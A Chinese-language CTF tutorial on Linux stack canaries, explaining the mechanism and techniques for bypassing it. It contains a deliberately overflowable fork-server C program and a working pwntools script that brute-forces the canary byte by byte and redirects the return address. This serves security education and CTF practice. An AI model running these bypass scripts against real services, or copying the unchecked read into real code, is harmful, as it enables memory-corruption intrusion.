Contents
  1. 1. 0x01 Canary
    1. 1.1. GCC中使用参数设置canary
    2. 1.2. Canary原理
  2. 2. 0x02 绕过技术
    1. 2.1. 覆盖canary低字节泄露
    2. 2.2. 格式化字符串泄露canary
    3. 2.3. SSP(Stack Smashing Protector ) leak
    4. 2.4. 劫持_stack_chk_fail函数
    5. 2.5. one-by-one爆破canary
    6. 2.6. 覆盖TLS中储存的canary值
    7. 2.7. c++异常机制绕过canary
    8. 2.8. 栈地址任意写绕过canary检查

0x01 Canary

canary的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

由于 stack overflow 而引发的攻击非常普遍也非常古老, 相应地一种叫做 canary 的 mitigation 技术很早就出现在 glibc 里, 直到现在也作为系统安全的第一道防线存在。
canary 不管是实现还是设计思想都比较简单高效, 就是插入一个值, 在 stack overflow 发生的 高危区域的尾部, 当函数返回之时检测 canary 的值是否经过了改变, 以此来判断 stack/buffer overflow 是否发生.
Canary 与 windows 下的 GS 保护都是防止栈溢出的有效手段,它的出现很大程度上防止了栈溢出的出现,并且由于它几乎并不消耗系统资源,所以现在成了 linux 下保护机制的标配

GCC中使用参数设置canary

1
2
3
4
5
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确stack_protect attribute的函数开启保护
-fno-stack-protector 禁用保护

Canary原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
stack 结构如下:

High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 局部变量 |
Low | |

当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:

1
2
mov    rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax

在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。如果canary被非法修改,那么程序会执行__stack_chk_fail,这是位于glibc的函数,默认情况下经过ELF的延迟绑定。

1
2
3
4
mov    rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>

进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard

1
2
3
4
5
6
7
8
9
10
11
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;

TLS中的值由函数security_init进行初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数

//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);

_dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

以上只是简单的介绍canary机制,下面详细分析如何利用这些函数或check绕过该漏洞缓解措施。

0x02 绕过技术

覆盖canary低字节泄露

canary设计为以字节\x00结尾,本意是为了保证canary可以截断字符。现在被利用。
通过覆盖canary的低字节,打印出剩余的canary部分。这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露canary,之后再次溢出控制执行流程。

格式化字符串泄露canary

通过格式化字符串参数,然后寻找canary与我们输入参数的偏移,进行泄露

SSP(Stack Smashing Protector ) leak

通过canary的报错输出来泄露内存
首先思考,如果canary被我们覆盖,那么程序会执行函数__stack_chk_fail()
例如我手边在做的一道题
在canary检测不通过时,报错输出中会打印出应用程序的路径

1
2
3
4
5
6
7
8
9
10
11
12
"debug/fortify_fail.c"
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg;
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

我们发现,打印出的正是__libc_argv[0]的内容,如果我们通过栈溢出覆盖了__libc_argv[0],那么canary报错时就会打印指针所指内容

  • 例题:Jarvis oj smashes

劫持_stack_chk_fail函数

与ssp leak原理类似,canary失败就会进入__stack_chk_fail()函数,该函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持该函数(所以前提需要没有开启RELRO保护),让他不完成该功能,那么canary就形同虚设了。
注意:这种技术并不是我们一般方式的hijack GOT表,一般我们hijack GOT表是因为GOT表绑定了真实地址,我们覆盖他让程序执行其他函数。GOT表中要绑定真实地址必须是执行过一次,然而__stack_chk_fail()函数执行第一次的时候就会报错退出,所以我们需要overwrite的尚未执行过的__stack_chk_fail()的GOT表项,此时GOT表中应该存储stack_chk_fail PLT[1]的地址

  • 例题:ZCTF2017 Login

one-by-one爆破canary

每次进程重启后的canary不同,且同一个进程中的每个线程的canary也不同。但是存在一类通过fork函数开启子进程交互的题目,fork函数会直接拷贝父进程的内存,因此每次创建的子进程的canary是相同的。我们可以利用这样的特点,逐个字节将canary爆破出来。

  • 爆破python代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    print "[+] Brute forcing stack canary "

    start = len(p)
    stop = len(p)+8

    while len(p) < stop:
    for i in xrange(0,256):
    res = send2server(p + chr(i))

    if res != "":
    p = p + chr(i)
    #print "\t[+] Byte found 0x%02x" % i
    break

    if i == 255:
    print "[-] Exploit failed"
    sys.exit(-1)


    canary = p[stop:start-1:-1].encode("hex")
    print " [+] SSP value is 0x%s" % canary
  • 例题:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    /**
    * compile cmd: gcc source.c -m32 -o bin
    **/
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/wait.h>

    void getflag(void) {
    char flag[100];
    FILE *fp = fopen("./flag", "r");
    if (fp == NULL) {
    puts("get flag error");
    exit(0);
    }
    fgets(flag, 100, fp);
    puts(flag);
    }
    void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    }

    void fun(void) {
    char buffer[100];
    read(STDIN_FILENO, buffer, 120);
    }

    int main(void) {
    init();
    pid_t pid;
    while(1) {
    pid = fork();
    if(pid < 0) {
    puts("fork error");
    exit(0);
    }
    else if(pid == 0) {
    puts("welcome");
    fun();
    puts("recv sucess");
    }
    else {
    wait(0);
    }
    }
    }

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = 'debug'

cn = process('./bin')

cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send('a'*100 + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break

cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d))

flag = cn.recv()
cn.close()
log.success('flag is:' + flag)

覆盖TLS中储存的canary值

canary是存储在TLS中的,函数返回前会使用这个值进行对比,当栈溢出空间较大时,我们同时覆盖栈上存储的canary和TLS储存的canary实现绕过

  • 例题:StarCTF2018 babystack

c++异常机制绕过canary

  • 例题:Shanghai-DCTF-2017 线下攻防Pwn题

    栈地址任意写绕过canary检查

    利用格式化字符串数组下标越界,实现栈地址任意写,不必连续向栈上写,直接写ebp和ret,这样不会触发canary check

以上参考:
CTF-wiki-Canary
论canary的几种玩法——veritas501
PWN之canary骚操作——23R3F